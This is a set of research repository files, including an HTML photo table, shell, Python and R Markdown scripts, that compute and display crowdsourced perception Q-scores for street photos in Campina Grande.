<td><img src="https://contribua.org/bairros/oeste/catole/Avenida_Prefeito_Severino_Bezerra_Cabral__218_0.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Avenida_Prefeito_Severino_Bezerra_Cabral__218_0.jpg 5.46822511718</td>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Joao_Francisco_Mota__64__270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Joao_Francisco_Mota__64__270.jpg 5.46038618413</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Odon_Bezerra__388__90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Odon_Bezerra__388__90.jpg 5.44762328106</td>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Luisa_Bezerra_Mota__246_90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Luisa_Bezerra_Mota__246_90.jpg 5.43984742873</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Odon_Bezerra__306_90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Odon_Bezerra__306_90.jpg 5.42837716483</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/norte/centro/Avenida_Barao_Rio_Branco__141_90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Avenida_Barao_Rio_Branco__141_90.jpg 5.37761943144</td>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Doutor_Severino_Cruz__411__90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Doutor_Severino_Cruz__411__90.jpg 5.37320921543</td>
<td><img src="https://contribua.org/bairros/norte/centro/Avenida_Dom_Pedro_II__119_90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Avenida_Dom_Pedro_II__119_90.jpg 5.35893108169</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Cristina_Procopio_da_Silva__62__90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Cristina_Procopio_da_Silva__62__90.jpg 5.33618709304</td>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Capitao_Joao_de_Sa__45__0.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Capitao_Joao_de_Sa__45__0.jpg 5.30133802568</td>
<td><img src="https://contribua.org/bairros/norte/centro/Avenida_Presidente_Getulio_Vargas__210__180.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Avenida_Presidente_Getulio_Vargas__210__180.jpg 5.2885641155</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Riachuelo__847__0.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Riachuelo__847__0.jpg 5.23357825425</td>
<td><img src="https://contribua.org/bairros/oeste/catole/Avenida_Prefeito_Severino_Bezerra_Cabral__218_90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Avenida_Prefeito_Severino_Bezerra_Cabral__218_90.jpg 5.23144526679</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Odon_Bezerra__147_90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Odon_Bezerra__147_90.jpg 5.20642143082</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Felix_Araujo__132__270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Felix_Araujo__132__270.jpg 5.14623382205</td>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Olegario_Mariano__139_0.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Olegario_Mariano__139_0.jpg 5.12994016582</td>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Capitao_Joao_de_Sa__45__180.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Capitao_Joao_de_Sa__45__180.jpg 5.03844163903</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/norte/centro/Avenida_Presidente_Getulio_Vargas__395__90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Avenida_Presidente_Getulio_Vargas__395__90.jpg 4.98748922295</td>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Vigario_Calixto__1201_0.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Vigario_Calixto__1201_0.jpg 4.97497122899</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Severino_Pimentel__511_270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Severino_Pimentel__511_270.jpg 4.97326416233</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Olegario_Mariano__139_270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Olegario_Mariano__139_270.jpg 4.96016120947</td>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Deputado_Ascendino_Moura__101__270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Deputado_Ascendino_Moura__101__270.jpg 4.8989773571</td>
<td><img src="https://contribua.org/bairros/norte/centro/Avenida_Presidente_Joao_Pessoa__128__180.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Avenida_Presidente_Joao_Pessoa__128__180.jpg 4.89881097743</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Riachuelo__930__0.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Riachuelo__930__0.jpg 4.89293840861</td>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Inacio_Marques_da_Silva__434_270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Inacio_Marques_da_Silva__434_270.jpg 4.88594864616</td>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Luisa_Bezerra_Mota__246_270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Luisa_Bezerra_Mota__246_270.jpg 4.84307423119</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Sebastiao_Vieira_da_Silva__1273__0.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Sebastiao_Vieira_da_Silva__1273__0.jpg 4.8397738564</td>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Doutor_Antonio_Telha_-_Catole__Campina_Grande__270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Doutor_Antonio_Telha_-_Catole__Campina_Grande__270.jpg 4.83487205994</td>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Pedro_Alvares_Cabral__129_180.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Pedro_Alvares_Cabral__129_180.jpg 4.82215271387</td>
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<tr>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Felix_Araujo__48__270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Felix_Araujo__48__270.jpg 4.81672599217</td>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Elias_Aforas__67__0.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Elias_Aforas__67__0.jpg 4.80758981418</td>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Felix_Araujo__132__90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Felix_Araujo__132__90.jpg 4.78224895819</td>
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<tr>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Pedro_Alvares_Cabral__129_90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Pedro_Alvares_Cabral__129_90.jpg 4.73608520362</td>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Joao_Francisco_Mota__64__90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Joao_Francisco_Mota__64__90.jpg 4.70222988058</td>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Elias_Aforas__67__180.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Elias_Aforas__67__180.jpg 4.67591379494</td>
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<tr>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Acre__635_270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Acre__635_270.jpg 4.67023168897</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Severino_Pimentel__321__180.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Severino_Pimentel__321__180.jpg 4.64991643167</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Severino_Pimentel__439__180.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Severino_Pimentel__439__180.jpg 4.63869422692</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Severino_Pimentel__321__0.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Severino_Pimentel__321__0.jpg 4.61491391382</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Edesio_Silva__602__0.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Edesio_Silva__602__0.jpg 4.60343648954</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Padre_Pedro_Serrao__336__270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Padre_Pedro_Serrao__336__270.jpg 4.59755342784</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Odon_Bezerra__388__270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Odon_Bezerra__388__270.jpg 4.57885778017</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Riachuelo__847__180.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Riachuelo__847__180.jpg 4.55275290404</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Padre_Pedro_Serrao__353__90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Padre_Pedro_Serrao__353__90.jpg 4.54915640359</td>
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<tr>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Manoel_P._de_Araujo__370_0.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Manoel_P._de_Araujo__370_0.jpg 4.51802247945</td>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Augusto_Severo__71_90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Augusto_Severo__71_90.jpg 4.48681787429</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Padre_Pedro_Serrao__207__90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Padre_Pedro_Serrao__207__90.jpg 4.45557857446</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Severino_Pimentel__439__0.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Severino_Pimentel__439__0.jpg 4.44120709901</td>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Doutor_Antonio_Telha__68__90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Doutor_Antonio_Telha__68__90.jpg 4.38618596654</td>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Manoel_P._de_Araujo__370_180.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Manoel_P._de_Araujo__370_180.jpg 4.37446622908</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Sebastiao_Vieira_da_Silva__1273__180.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Sebastiao_Vieira_da_Silva__1273__180.jpg 4.36128186754</td>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Olegario_Mariano__139_90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Olegario_Mariano__139_90.jpg 4.32723424005</td>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Honorio_de_Melo__240__270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Honorio_de_Melo__240__270.jpg 4.25192164647</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Avenida_Assis_Chateaubriand__1334__180.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Avenida_Assis_Chateaubriand__1334__180.jpg 4.23491912844</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Santa_Catarina__1231__180.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Santa_Catarina__1231__180.jpg 4.22941176683</td>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Elias_Aforas__202_180.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Elias_Aforas__202_180.jpg 4.22703332334</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Inacio_Marques_da_Silva__434_90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Inacio_Marques_da_Silva__434_90.jpg 4.20854279186</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Riachuelo__455__180.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Riachuelo__455__180.jpg 4.20681380963</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Espirito_Santo__1288__0.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Espirito_Santo__1288__0.jpg 4.12877297644</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/norte/centro/Avenida_Presidente_Getulio_Vargas__210__0.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Avenida_Presidente_Getulio_Vargas__210__0.jpg 4.10307074475</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Edesio_Silva__602__180.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Edesio_Silva__602__180.jpg 4.07569944263</td>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Aluisio_Cunha_Linha__50__90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Aluisio_Cunha_Linha__50__90.jpg 4.06840418353</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Olegario_Mariano__139_180.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Olegario_Mariano__139_180.jpg 3.99006264581</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Sergipe__1337_0.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Sergipe__1337_0.jpg 3.95998463782</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Padre_Pedro_Serrao__336__90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Padre_Pedro_Serrao__336__90.jpg 3.94104821132</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Aluisio_Cunha_Linha__50__270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Aluisio_Cunha_Linha__50__270.jpg 3.85810299511</td>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Cristina_Procopio_da_Silva__62__270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Cristina_Procopio_da_Silva__62__270.jpg 3.85531991446</td>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Coronel_Salvino_Figueiredo__251_90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Coronel_Salvino_Figueiredo__251_90.jpg 3.8531735324</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Deputado_Ascendino_Moura__101__90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Deputado_Ascendino_Moura__101__90.jpg 3.8255863395</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Espirito_Santo__1288__180.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Espirito_Santo__1288__180.jpg 3.81977491021</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Santa_Catarina__1231__0.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Santa_Catarina__1231__0.jpg 3.69115545519</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Padre_Pedro_Serrao__207__270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Padre_Pedro_Serrao__207__270.jpg 3.6598428613</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Severino_Pimentel__511_90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Severino_Pimentel__511_90.jpg 3.65393023637</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Riachuelo__455__0.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Riachuelo__455__0.jpg 3.65096220342</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Sergipe__1337_90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Sergipe__1337_90.jpg 3.62281271828</td>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Augusto_Severo__71_0.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Augusto_Severo__71_0.jpg 3.6095097661</td>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Doutor_Antonio_Telha__68__270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Doutor_Antonio_Telha__68__270.jpg 3.48470621321</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Elias_Aforas__202_0.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Elias_Aforas__202_0.jpg 3.4834190074</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Padre_Pedro_Serrao__353__270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Padre_Pedro_Serrao__353__270.jpg 3.4796817726</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Riachuelo__930__180.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Riachuelo__930__180.jpg 3.24722608718</td>
</tr>
<tr>
</tr>
</table></body>
<file_sep>#!/bin/bash
for i in $(seq 0 499); do
file="../../backupBanco/ranking_predictions/run_80_${i}.csv"
python ../analisaQScore.py $file 100 ../../backupBanco/tasksDef.csv campina
mv all.dat ranking_predictions/all_qscore_80_${i}.dat
mv all.dat-maxdiff ranking_predictions/all.dat-maxdiff_80_${i}
done
<file_sep>import sys
if __name__ == "__main__":
if len(sys.argv) < 1:
print "Uso: <arquivo com dados>"
sys.exit(1)
inputFile = open(sys.argv[1], 'r')
output = open('output.csv', 'w')
lines = inputFile.readlines()
questionsMap = {1:"", 2:"", 3:"", 4:""}
for line in lines:
data = line.split(",")
if not data[0]:
data[0] = '0'
#Fazer o parse para capturar a pergunta respondida, a foto vencedora, a foto da esquerda e a foto da direita
info = data[1][3:-4].split(" ")
if len(info) == 4:
#User id, question answered, answer, left photo, right photo
output.write(data[0]+'\t'+info[0]+'\t'+info[5].decode('utf-8')+'\t'+info[6].split("/")[4]+'\t'+info[7].split("/")[4]+'\n')
output.close()
inputFile.close()
<file_sep>---
title: "Entrevista"
output:
html_document:
self_contained: no
pdf_document: default
---
<style>
body .main-container {
max-width: 100%;
margin-left: 20px;
margin-right: auto;
}
</style>
Entrevista sobre processo de coleta de percepções através de crowdsourcing.
```{r setup, include=FALSE}
cat("<br/>")
library("vioplot")
library("ggplot2")
library("dplyr")
library("knitr")
library("texreg")
library("ineq")
library(R.utils)
library("knitr")
library("spdep")
library("reshape")
library("fitdistrplus")
multiplot <- function(..., plotlist=NULL, file, cols=1, layout=NULL) {
library(grid)
# Make a list from the ... arguments and plotlist
plots <- c(list(...), plotlist)
numPlots = length(plots)
# If layout is NULL, then use 'cols' to determine layout
if (is.null(layout)) {
# Make the panel
# ncol: Number of columns of plots
# nrow: Number of rows needed, calculated from # of cols
layout <- matrix(seq(1, cols * ceiling(numPlots/cols)),
ncol = cols, nrow = ceiling(numPlots/cols))
}
if (numPlots==1) {
print(plots[[1]])
} else {
# Set up the page
grid.newpage()
pushViewport(viewport(layout = grid.layout(nrow(layout), ncol(layout))))
# Make each plot, in the correct location
for (i in 1:numPlots) {
# Get the i,j matrix positions of the regions that contain this subplot
matchidx <- as.data.frame(which(layout == i, arr.ind = TRUE))
print(plots[[i]], vp = viewport(layout.pos.row = matchidx$row,
layout.pos.col = matchidx$col))
}
}
}
```
```{r results='asis', echo=FALSE, out.extra='', fig.height=10, fig.width=12, warning=FALSE}
#Checking sample size
scores_data <- read.table("../all100/all_ordenado.dat")
scores_data$sd <- apply(scores_data[,4:ncol(scores_data)], 1, sd)
scores_data$n <- ( 1.96 * scores_data$sd / 0.2) ** 2 #All QScores
scores_data$ci <- scores_data$sd * 1.96 / sqrt(100)
novoV2 <- lapply(as.character(scores_data$V2), function (x) strsplit(x, split="/", fixed=TRUE)[[1]][7])
novoV2 <- unlist(lapply(novoV2, '[[', 1))
novoV2 <- strsplit(novoV2, split="\\.jpg")
photo <- unlist(lapply(novoV2, '[[', 1))
scores_data$photo_name <- photo
scores_data <- arrange(scores_data, photo_name)
qscoresDFGeral <- read.csv("../qscores-df-geral.csv", header = TRUE)
qscoresDFCampina<- read.csv("../qscores-df-campina.csv", header = TRUE)
qscoresDFNotCampina <- read.csv("../qscores-df-notcampina.csv", header = TRUE)
#Plotting Q-Scores through the street
all_data <- merge(qscoresDFGeral, scores_data, by.x = "url", by.y="V2")#qscoresDFGeral
all_data$street <- as.character(all_data$street)
all_data$street <- factor(all_data$street, levels=unique(all_data$street))
```
#\#\#\# Rua 1
Vamos analisar primeiramente cada ponto da rua de forma isolada.
```{r echo=FALSE, fig.height=20, fig.width=12, warning=FALSE}
cristina <- dplyr::filter(all_data, street == "R._Cristina_Procópio_Silva") %>% dplyr::group_by(num) %>% dplyr::arrange(street, num, angle) %>% dplyr::select(url, photo_name, street, num, angle, qscore, V3, ci)
```
```{r results='asis', echo=FALSE, fig.height=20, fig.width=12, warning=FALSE}
cat("<br/>")
show_street_data <- function (current_df, force_split){
color_space <- c("#000000", "#001900", "#003300", "#004c00", "#006600", "#007f00", "#009900", "#00b200", "#00cc00", "#00e500", "#00ff00")
angleData = c()
for(i in 1:nrow(current_df)) {
row <- current_df[i,]
street <- as.character(row$street)
photo_name <- as.character(row$url)
num <- row$num
angle <- row$angle
score <- row$qscore
angleData <- append(angleData, score)
cat(paste("<div class='col-xs-3' \">", sep=""))
cat("<img src='", photo_name,"' width='400px'>", sep = "")
cat("<p style=\"color:black;font-size:90%\">", num, "- ", angle, "</p>", sep="")
cat("</div>")
#End of row with 4 images
if(force_split && i%%4 == 0){
cat("<div class=\"col-xs-12\" style=\"height:1000px;\"></div>")
}
}
}
show_street_data(cristina, TRUE)
```
Recapitulando toda a rua
```{r results='asis', echo=FALSE, fig.height=20, fig.width=12, warning=FALSE}
cat("<br/>")
show_street_data(cristina, FALSE)
cat("<div class=\"col-xs-12\" style=\"height:300px;\"></div>")
```
#\#\#\# Rua 2
Vamos analisar primeiramente cada ponto da rua de forma isolada.
```{r echo=FALSE, fig.height=20, fig.width=12, warning=FALSE}
floriano <- dplyr::filter(all_data, street == "Av._Mal._Floriano_Peixoto") %>% dplyr::group_by(num) %>% dplyr::arrange(street, num, angle) %>% dplyr::select(url, photo_name, street, num, angle, qscore, V3, ci)
```
```{r results='asis', echo=FALSE, fig.height=20, fig.width=12, warning=FALSE}
cat("<br/>")
show_street_data(floriano, TRUE)
```
Recapitulando toda a rua
```{r results='asis', echo=FALSE, fig.height=20, fig.width=12, warning=FALSE}
cat("<br/>")
show_street_data(floriano, FALSE)
```
#\#\#\# Rua 3
Vamos analisar primeiramente cada ponto da rua de forma isolada.
```{r echo=FALSE, fig.height=20, fig.width=12, warning=FALSE}
edesio <- dplyr::filter(all_data, street == "R._Edésio_Silva") %>% dplyr::group_by(num) %>% dplyr::arrange(street, num, angle) %>% dplyr::select(url, photo_name, street, num, angle, qscore, V3, ci)
```
```{r results='asis', echo=FALSE, fig.height=20, fig.width=12, warning=FALSE}
cat("<br/>")
show_street_data(edesio, TRUE)
```
Recapitulando toda a rua
```{r results='asis', echo=FALSE, fig.height=20, fig.width=12, warning=FALSE}
cat("<br/>")
show_street_data(edesio, FALSE)
```
#\#\#\# Rua 4
Vamos analisar primeiramente cada ponto da rua de forma isolada.
```{r echo=FALSE, fig.height=20, fig.width=12, warning=FALSE}
maciel <- dplyr::filter(all_data, street == "R._Maciel_Pinheiro") %>% dplyr::group_by(num) %>% dplyr::arrange(street, num, angle) %>% dplyr::select(url, photo_name, street, num, angle, qscore, V3, ci)
```
```{r results='asis', echo=FALSE, fig.height=20, fig.width=12, warning=FALSE}
cat("<br/>")
show_street_data(maciel, TRUE)
```
Recapitulando toda a rua
```{r results='asis', echo=FALSE, fig.height=20, fig.width=12, warning=FALSE}
cat("<br/>")
show_street_data(maciel, FALSE)
```
#\#\#\# Rua 5
Vamos analisar primeiramente cada ponto da rua de forma isolada.
```{r echo=FALSE, fig.height=20, fig.width=12, warning=FALSE}
inacio <- dplyr::filter(all_data, street == "R._Inácio_Marquês_da_Silva") %>% dplyr::group_by(num) %>% dplyr::arrange(street, num, angle) %>% dplyr::select(url, photo_name, street, num, angle, qscore, V3, ci)
```
```{r results='asis', echo=FALSE, fig.height=20, fig.width=12, warning=FALSE}
cat("<br/>")
show_street_data(inacio, TRUE)
```
Recapitulando toda a rua
```{r results='asis', echo=FALSE, fig.height=20, fig.width=12, warning=FALSE}
cat("<br/>")
show_street_data(inacio, FALSE)
```
#\#\#\# Rua 6
Vamos analisar primeiramente cada ponto da rua de forma isolada.
```{r echo=FALSE, fig.height=20, fig.width=12, warning=FALSE}
manoel <- dplyr::filter(all_data, street == "R._Manoel_Pereira_de_Araújo") %>% dplyr::group_by(num) %>% dplyr::arrange(street, num, angle) %>% dplyr::select(url, photo_name, street, num, angle, qscore, V3, ci)
```
```{r results='asis', echo=FALSE, fig.height=20, fig.width=12, warning=FALSE}
cat("<br/>")
show_street_data(manoel, TRUE)
```
Recapitulando toda a rua
```{r results='asis', echo=FALSE, fig.height=20, fig.width=12, warning=FALSE}
cat("<br/>")
show_street_data(manoel, FALSE)
```<file_sep># coding=utf-8
# Separates tasks execution according to a group of users
import sys
def selectTasks(lines, criteria):
""" Selecting tasks according to user ids defined in criteria """
for line in lines:#Reading from pybossa task-run CSV
lineData = line.split("+")
currentUserID = lineData[4]
if currentUserID+"\n" in criteria:
print line.strip()
if __name__ == "__main__":
if len(sys.argv) < 3:
print "Uso: <arquivo com execuções das tarefas> <arquivos com usuarios a filtrar>"
sys.exit(1)
dataFile = open(sys.argv[1], 'r')
lines = dataFile.readlines()
usersFile = open(sys.argv[2], 'r')
criteria = usersFile.readlines()[1:]#skipping first line containing tasks id of intersection
selectTasks(lines, criteria)#FIXME: add tasksID
dataFile.close()
usersFile.close()
<file_sep># coding=utf-8
# Combines RGB, QScore and amount of lines for each photo according to input data
import sys
#possible questions
possibleQuestions = ["agrad%C3%A1vel?", "seguro?"]
if __name__ == "__main__":
if len(sys.argv) < 4:
print "Uso: <arquivo com rgb> <arquivo com qscore> <arquivo com linhas>"
sys.exit(1)
rgbs = open(sys.argv[1], "r")
qscores = open(sys.argv[2], "r")
linesCounting = open(sys.argv[3], "r")
qscoreLines = qscores.readlines()
rgbLines = rgbs.readlines()
linesCountingLines = linesCounting.readlines()
#Reading qscores
qscoreDic = {possibleQuestions[0]:{}, possibleQuestions[1]: {}}
for line in qscoreLines:
data = line.split("\t")
photo = data[1].split("/")[5]+"/"+data[1].split("/")[6]#Saving district and street
qscore = data[2]
qscoreDic[data[0].strip()][photo.strip()] = qscore.strip()
#Reading rgb data
rgbDic = {}
for line in rgbLines:
data = line.split(" ")
#print data
photo = data[0]
red = data[1]
green = data[2]
blue = data[3]
rgbDic[photo.strip()] = (red.strip(), green.strip(), blue.strip())
#Reading lines counting data
linesCountingDic = {}
for line in linesCountingLines:
data = line.split("\t")
#print data
photo = data[0]
diagonal = data[1]
horizontal = data[2]
vertical = data[3]
linesCountingDic[photo.strip()] = (diagonal.strip(), horizontal.strip(), vertical.strip())
#Writing outputFile with qscores and rgb
outputFile = open("rgbQScoreAgrad.dat","w")
outputFile.write("foto\tqscore\tred\tgreen\tblue\tdiag\thor\tvert\n")
for photo in qscoreDic[possibleQuestions[0]].keys():
rgb = rgbDic[photo.split("/")[1]]
lines = linesCountingDic[photo.split("/")[1]]
